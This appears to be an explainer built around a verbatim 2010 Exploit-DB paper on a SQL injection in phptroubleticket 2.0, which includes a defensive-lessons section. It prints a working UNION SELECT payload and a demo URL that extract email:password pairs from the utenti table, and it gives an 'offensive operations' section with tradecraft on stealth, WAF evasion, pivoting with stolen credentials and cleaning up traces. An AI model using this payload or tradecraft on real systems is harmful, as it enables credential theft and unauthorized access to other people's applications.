Understanding the phptroubleticket 2.0 SQL Injection Exploit

What this paper is

This paper details a SQL injection vulnerability found in phptroubleticket version 2.0 (and potentially lower versions). The vulnerability lies within the vedi_faq.php script and allows an attacker to extract sensitive information, specifically email addresses and passwords, from the utenti table by manipulating the id parameter.

Simple technical breakdown

The core of the vulnerability is that the id parameter in the URL is directly used in a SQL query without proper sanitization. This allows an attacker to inject SQL code. The exploit uses a UNION SELECT statement to combine the results of the attacker's injected query with the original query. The injected query specifically targets the utenti table and uses concat_ws to combine the email and password fields, separated by a colon (:), before returning them.

Complete code and payload walkthrough

The exploit provided in the paper is a URL parameter string. There is no separate code or shellcode in the traditional sense within this specific exploit paper. The "code" is the malicious string appended to the URL.

Vulnerable File and URL Structure:

• File: vedi_faq.php
• Vulnerable Parameter: id
• Example Vulnerable URL: http://127.0.0.1/[kaMtiEz]/vedi_faq.php?id=[INDONESIANCODER]

Exploit Payload (XpL):

/**/union/**/all/**/select/**/1,concat_ws(0x3a,email,password)kaMtiEz,3,4/**/from/**/utenti--

Breakdown of the Exploit Payload:

1. /**/union/**/all/**/select/**/:

   • Purpose: This is the core of the SQL injection. It's a UNION ALL SELECT statement.
   • /**/: These are comments in SQL. They are often used to break up keywords or bypass simple WAF (Web Application Firewall) rules that might look for exact keyword matches.
   • union: This SQL operator combines the result set of two or more SELECT statements.
   • all: This keyword ensures that all rows from both SELECT statements are returned, including duplicates.
   • select: This keyword is used to query data from a database.
   • 1,3,4: These are placeholder values. The number of columns in the UNION SELECT statement must match the number of columns in the original query that is being modified. The original query likely selects at least 4 columns. The exploit is injecting its malicious payload into one of these columns.

2. concat_ws(0x3a,email,password)kaMtiEz:

   • Purpose: This is the injected part that extracts and formats the sensitive data.
   • concat_ws(separator, string1, string2, ...): This is a MySQL function that concatenates strings with a specified separator.
     • 0x3a: This is the hexadecimal representation of the colon character (:). So, the separator will be a colon.
     • email: This is the name of a column in the utenti table, presumably containing email addresses.
     • password: This is the name of another column in the utenti table, presumably containing user passwords.
   • kaMtiEz: This appears to be an alias for the concatenated string. It's likely used to identify the output from this specific injected column.

3. /**/from/**/utenti:

   • Purpose: This specifies the table from which to retrieve the data.
   • from: Standard SQL keyword to indicate the source table.
   • utenti: The name of the table containing the user credentials.

4. --:

   • Purpose: This is a SQL comment character. It comments out the rest of the original SQL query.
   • --: In many SQL dialects, this signifies the end of the line, effectively discarding any remaining parts of the original query that might cause syntax errors or interfere with the exploit.

Mapping:

• /**/union/**/all/**/select/**/1,3,4/**/from/**/utenti--: Original query structure modified by the exploit.
• concat_ws(0x3a,email,password)kaMtiEz: The injected malicious payload to extract and format data.

Execution Flow:

1. The web server receives a request for vedi_faq.php with a manipulated id parameter.
2. The vedi_faq.php script constructs a SQL query, likely something like SELECT col1, col2, col3, col4 FROM faq WHERE id = [provided_id].
3. The exploit payload replaces [provided_id]. The resulting query becomes:
   SELECT col1, col2, col3, col4 FROM faq WHERE id = 666/**/union/**/all/**/select/**/1,concat_ws(0x3a,email,password)kaMtiEz,3,4/**/from/**/utenti--
4. The database executes this combined query.
5. The UNION ALL SELECT part is executed. It selects 1, the concatenated email:password from utenti, 3, and 4.
6. The results from the UNION ALL SELECT are returned to the web application.
7. The web application, expecting data from the original query, displays the results of the injected query. The email:password pairs will be visible in the output, likely mixed with other content or displayed in a way that an attacker can parse.

Practical details for offensive operations teams

• Required Access Level: Network access to the target web server. No prior authentication to the application is typically required for this type of SQL injection if it affects unauthenticated pages.
• Lab Preconditions:
  • A running instance of phptroubleticket v2.0 or lower.
  • A web server (e.g., Apache, Nginx) with PHP and a database (e.g., MySQL) configured.
  • The utenti table must exist and be populated with data.
  • The vedi_faq.php script must be accessible and vulnerable.
  • The id parameter must be used in a vulnerable SQL query.
• Tooling Assumptions:
  • A web browser for manual testing or reconnaissance.
  • A command-line tool like curl for scripting and automated testing.
  • SQL injection tools (e.g., sqlmap) can automate the discovery and exploitation process, but understanding the manual payload is crucial for custom scenarios.
• Execution Pitfalls:
  • WAF/IDS Evasion: The /**/ comments are a basic evasion technique. More sophisticated WAFs might detect the UNION SELECT pattern or the concat_ws function.
  • Column Mismatch: If the number of columns in the UNION SELECT doesn't match the original query, the database will return an error. The exploit assumes the original query selects at least 4 columns. Finding the correct number of columns is a common step in SQL injection.
  • Database Specific Syntax: The exploit uses MySQL-specific syntax (concat_ws, /**/ comments, -- for comments). It might not work directly on other database systems (e.g., PostgreSQL, SQL Server, Oracle).
  • Error Handling: The application might not display SQL errors to the user, making it harder to confirm the injection or debug.
  • Data Format: The output might be encoded or displayed in a way that requires further parsing.
  • utenti Table Name: The table name utenti is specific. If the actual table name is different, the exploit will fail. Reconnaissance to identify table and column names is often necessary.
• Tradecraft Considerations:
  • Reconnaissance: Before attempting the exploit, identify the target application, version, and vulnerable pages/parameters. Use search engines (dorks) or application scanning tools.
  • Stealth: Use curl with appropriate headers to mimic legitimate browser traffic. Avoid noisy scanning that could alert defenders.
  • Data Exfiltration: Once credentials are exfiltrated, consider how to use them to gain further access or pivot.
  • Clean Up: If performing live engagements, ensure no lingering artifacts or logs that could be traced back.

Where this was used and when

• Context: This exploit targets a specific web application, phptroubleticket, which is a system for managing support tickets. The vulnerability would be exploited by an attacker who wants to gain unauthorized access to user credentials stored within this application.
• Approximate Years/Dates: The paper was published on March 1, 2010. Therefore, this vulnerability and exploit were relevant around 2010. It's possible it was exploited in the wild before or after this date, but the publication date marks its public disclosure.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is the most critical defense. Never trust user input. All data passed from the client to the server, especially when used in database queries, must be rigorously validated and sanitized.
  • Parameterized Queries/Prepared Statements: This is the gold standard. Use parameterized queries where user input is treated as data, not executable code. This prevents SQL injection by design.
  • Escaping Special Characters: If parameterized queries are not feasible (though they almost always are), properly escape all special characters that have meaning in SQL.
• Least Privilege: The database user account used by the web application should have only the minimum necessary privileges. It should not have permissions to drop tables, create users, or access sensitive system tables if its sole purpose is to manage trouble tickets.
• Web Application Firewalls (WAFs): While not a silver bullet, WAFs can detect and block common SQL injection patterns. However, attackers can often find ways to bypass them.
• Regular Patching and Updates: Keep all software, including web applications and their underlying frameworks, up to date. Vendors often release patches for known vulnerabilities.
• Database Auditing and Monitoring: Monitor database logs for suspicious queries, especially those involving UNION, SELECT, or unusual function calls.
• Secure Coding Practices: Train developers on secure coding principles, including the dangers of SQL injection and how to prevent it.

ASCII visual (if applicable)

This exploit is a direct manipulation of a URL parameter that gets embedded into a SQL query. A visual representation of the flow would be:

+-----------------+      +-----------------+      +---------------------+      +-------------------+
| Attacker's      | ---> | Web Browser     | ---> | Web Server          | ---> | Database Server   |
| Malicious URL   |      | (Sends Request) |      | (Processes Request) |      | (Executes Query)  |
+-----------------+      +-----------------+      +----------+----------+      +---------+---------+
                                                               |
                                                               | Vulnerable Script
                                                               | (e.g., vedi_faq.php)
                                                               | Constructs SQL Query
                                                               | with user input
                                                               v
                                                     +---------------------+
                                                     | Original SQL Query  |
                                                     | + Injected Payload  |
                                                     +---------------------+
                                                               |
                                                               v
                                                     +---------------------+
                                                     | Malicious SQL Query |
                                                     | (e.g., UNION SELECT)|
                                                     +---------------------+
                                                               |
                                                               v
                                                     +---------------------+
                                                     | Exfiltrated Data    |
                                                     | (e.g., email:pass)  |
                                                     +---------------------+

Source references

• PAPER ID: 11609
• PAPER TITLE: phptroubleticket 2.0 - 'id' SQL Injection
• AUTHOR: kaMtiEz
• PUBLISHED: 2010-03-01
• PAPER URL: https://www.exploit-db.com/papers/11609
• RAW URL: https://www.exploit-db.com/raw/11609

Original Exploit-DB Content (Verbatim)

#############################################################################################################
## phptroubleticket SQL injection (id)			                                                   ##
## Author : kaMtiEz (kamzcrew@yahoo.com)								   ##
## Homepage : http://www.indonesiancoder.com    	     					    	   ##
## Date : 1 march, 2010 						                                   ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.phptroubleticket.org/
[+] Download : http://www.phptroubleticket.org/downloads.html
[+] version : 2.0 / lower maybe also affected
[+] Vulnerability : SQL
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/vedi_faq.php?id=[INDONESIANCODER]

[ XpL ]

/**/union/**/all/**/select/**/1,concat_ws(0x3a,email,password)kaMtiEz,3,4/**/from/**/utenti--

[ DEMO ]

http://server/ingegneria/new/assistenza/vedi_faq.php?id=666/**/union/**/all/**/select/**/1,concat_ws(0x3a,email,password)kaMtiEz,3,4/**/from/**/utenti--

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack,senot
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Ayy : U will be owned ;]
[+] Don Tukulesto : kemana kamu woeeeee
[+] IBL13Z : belajar terus yak ;]

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..